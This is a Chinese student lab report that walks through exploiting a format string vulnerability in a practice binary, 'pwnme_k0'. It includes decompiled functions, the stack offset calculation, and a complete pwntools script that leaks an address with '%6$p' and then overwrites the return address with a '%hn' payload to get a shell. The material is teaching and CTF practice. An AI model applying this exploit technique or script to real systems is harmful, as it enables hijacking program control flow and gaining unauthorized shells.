格式化字符串漏洞
实验目的
掌握格式化字符串漏洞的原理以及在漏洞利用中的应用。
步骤
-
运行程序,大概走一遍流程
-
首先,程序接受最大 20 字节长的 “用户名” 和 “密码” 传入,注册成功后,会有三个选项:查看信息,修改信息和退出。
-
用 ida 打开程序,搜索相关标志,发现程序首先调用了
sub_4008BB()
,它输出了我们看到的banner
,并冲洗了标准输出(通过调用fflush(stdout)
)。 -
从
sub4008bb
跟回到main
函数,发现接下来是一个 “注册” 过程,由sub_400903
函数负责。sub_400903 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30unsigned __int8 v12; // [rsp+1Fh] [rbp-1h]
puts("Register Account first!");
puts("Input your username(max lenth:20): ");
fflush(stdout);
v12 = read(0, &bufa, 0x14uLL);
if ( v12 && v12 <= 0x14u )
{
puts("Input your password(max lenth:20): ");
fflush(stdout);
read(0, (char *)&a9 + 4, 0x14uLL);
fflush(stdout);
*(_QWORD *)buf = bufa;
*(_QWORD *)(buf + 8) = a8;
*(_QWORD *)(buf + 16) = a9;
*(_QWORD *)(buf + 24) = a10;
*(_QWORD *)(buf + 32) = a11;
}
else
{
LOBYTE(bufa) = 48;
puts("error length(username)!try again");
fflush(stdout);
*(_QWORD *)buf = bufa;
*(_QWORD *)(buf + 8) = a8;
*(_QWORD *)(buf + 16) = a9;
*(_QWORD *)(buf + 24) = a10;
*(_QWORD *)(buf + 32) = a11;
}
return buf;使用
read
函数只将 20 字节数据读入,除此以外,所有的puts
和read
后都跟着一个fflush
,强行冲洗缓冲区。看来,缓冲区的毛病应该利用不上了。 -
接下来是
sub_400d2b
函数,这是程序的后半部分 —— 选择输出、修改信息或退出程序。sub_400d2b 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21while ( 1 )
{
v8 = sub_400A75();
switch ( v8 )
{
case 2:
sub_400B41((__int64)&sa, 0LL, v9, v10, v11);
break;
case 3:
return sub_400D1A(v7, 0LL);
case 1:
sub_400B07((char)v7, 0, v9, v10, v11, v12);
break;
default:
puts("error options");
fflush(stdout);
break;
}
v7 = stdout;
fflush(stdout);
}- 其中
sub_400a75
输出了三个选项的内容sub_400a75 1
2
3puts("1.Sh0w Account Infomation!");
puts("2.Ed1t Account Inf0mation!");
puts("3.QUit sangebaimao:("); sub_400b41
(选择 2)修改已注册用户名的信息sub_400b41 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43puts("please input new username(max lenth:20): ");
fflush(stdout);
v15 = read(0, &buf, 0x12CuLL);
if ( v15 <= 0 || v15 > 20 )
{
puts("len error(max lenth:20)!try again..");
fflush(stdout);
*(_QWORD *)s = sa;
*(_QWORD *)(s + 8) = a8;
*(_QWORD *)(s + 16) = desta;
*(_QWORD *)(s + 24) = a10;
*(_QWORD *)(s + 32) = a11;
}
else
{
memset(&sa, 0, 0x14uLL);
strcpy((char *)&sa, &buf);
puts("please input new password(max lenth:20): ");
fflush(stdout);
v14 = read(0, &src, 0x12CuLL);
if ( v14 && v14 <= 0x14u )
{
memset((char *)&desta + 4, 0, 0x14uLL);
sub_400AE5(&src, 0LL);
memcpy((char *)&desta + 4, &src, v14);
fflush(stdout);
*(_QWORD *)s = sa;
*(_QWORD *)(s + 8) = a8;
*(_QWORD *)(s + 16) = desta;
*(_QWORD *)(s + 24) = a10;
*(_QWORD *)(s + 32) = a11;
}
else
{
puts("len error(max lenth:10)!try again..");
fflush(stdout);
*(_QWORD *)s = sa;
*(_QWORD *)(s + 8) = a8;
*(_QWORD *)(s + 16) = desta;
*(_QWORD *)(s + 24) = a10;
*(_QWORD *)(s + 32) = a11;
}
}sub_400D1A
(选择 3)输出了退出信息sub_400B07
(选择 1)输出了用户的信息sub_400b07 1
2
3write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!\n");
return printf((const char *)&a9 + 4);- 显然此处存在格式化字符串漏洞,在输出用户名和密码时都使用了
printf(buf)
的格式。
- 显然此处存在格式化字符串漏洞,在输出用户名和密码时都使用了
- 其中
-
确定保护
checksec --file pwnme_k0
- 本题开启了 RELRO 保护,将不能对 GOT 表进行写操作,但可以通过覆写返回地址获取 shell。采用的思路是:先泄露出返回地址字段的位置,然后利用
%n
实现覆写。
- 本题开启了 RELRO 保护,将不能对 GOT 表进行写操作,但可以通过覆写返回地址获取 shell。采用的思路是:先泄露出返回地址字段的位置,然后利用
-
开始利用
-
在
4008a6
处找到了/bin/sh
字符串,结合下方的 call system,这里实现了一个完整的system('/bin/sh')
,因此只要把返回地址写成这个地址就可以了。 -
那么,返回地址在哪里呢?就从那个有漏洞的
sub_400b07
下手。
-
-
在
0x400b28
的printf
上下断点 -
call 0x400770
应该是printf
的地址,stack 中,栈顶是 rbp,第二个是返回地址0x400d74
,第三个是代表用户名的字符串aaa
,printf
的参数。又因为 64 位系统中,函数前六个参数分别放在寄存器 RDI,RSI,RDX,RCX,R8 和 R9 上,除了存放格式化字符串的 rdi 参数,栈顶元素应该在第 5+1=6 个位置上(越过 R9)。从 rbp 的输出可以计算出返回地址偏移为 0x7fffffffddc0-0x7fffffffdd80+8 (64 位系统的一个存储块为 8 个字节)=0x48。设置username
为%6$p
即可获取栈顶元素内容,减掉偏移0x48
得到返回地址在栈中位置 -
下一步修改,需要利用
edit
函数将username
修改为返回地址在栈中的地址,password
修改为用于攻击的格式化字符串。username
是格式化字符串的第 8 个参数,通过%8$hn
向第 8 个参数所指向的位置中写入0x08a6
(十进制为2214
) 两个字节实现对返回地址的覆写 -
最终利用 payload 如下所示,为方便理解,对于一些操作做了封装。
payload.py 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53from pwn import *
context.log_level='debug'
p = process('./pwnme_k0')
def register(username,password):
p.recvuntil("Input your username(max lenth:20):")
p.sendline(username)
p.recvuntil("Input your password(max lenth:20):")
p.sendline(password)
def show():
p.recvuntil(">")
p.sendline('1')
def edit(username,password):
p.recvuntil(">")
p.sendline('2')
p.recvuntil("please input new username(max lenth:20):")
p.sendline(username)
p.recvuntil("please input new password(max lenth:20):")
p.sendline(password)
def quit():
p.recvuntil(">")
p.sendline('3')
def solve(debugs=(True,True)):
# return-addr:0x400d74 -> system:0x4008a6
# libc = ELF('libc.so')
debug1,debug2=debugs
register("%6$p","bbb")
offset = 0x7fffffffddc0 - 0x7fffffffdd80 + 8
show()
stack_top = int(p.recvline()[2:14],16)
return_addr = stack_top-offset
print "[*]stack top:0x%x"%stack_top
print "[*]offset:0x%x"%offset
print "[*]return_addr in stack:0x%x"%return_addr
if debug1:
gdb.attach(p,'b *0x400b28')
quit()
else:
edit(username=p64(return_addr),password="%2214c%8$hn")
# 2114 is the decimal value of 0x08a6
if debug2:
gdb.attach(p,'b *0x400b28')
else:
show()
p.interactive()
if __name__ == '__main__':
solve(debugs=(False,False))
实验难点与收获
本次实验的难点在于漏洞的利用,如何构造出 “致命” 的格式化字符串是最难的地方。格式化字符串漏洞的利用点不难分析,它利用了 printf
的格式化字符与参数数量不匹配的毛病,泄露内存地址,从而计算出一些信息。类似于 printf(buf)
的形式很容易输出程序地址信息,更可能引起内存覆写。
%n
是格式化字符串漏洞的关键,它完成了将所输入的内容直接写入内存地址空间的操作。基本上可以说是 pwn 中 getshell 前的最后一步。
在写漏洞利用脚本时需要注意各种小问题,比如不可直接书写地址,地址的大小端,数据的进制,recv
和 recvline
的区别等。经过几轮调试后,终于写成了可以用的脚本。
实验思考
上述脚本中,“向第 8 个参数所指向的位置写东西” 使用的格式化字符为 %8$hn
,而课件上和课上讲的是 $hhn
,这两个有什么区别?
%$hn
表示写入的地址空间为 2 字节,%$hhn
表示写入的地址空间为 1 字节,%$lln
表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,直接写 4 字节%n
会导致程序崩溃或等候时间过长,可以通过%$hn
或%$hhn
来适时调整。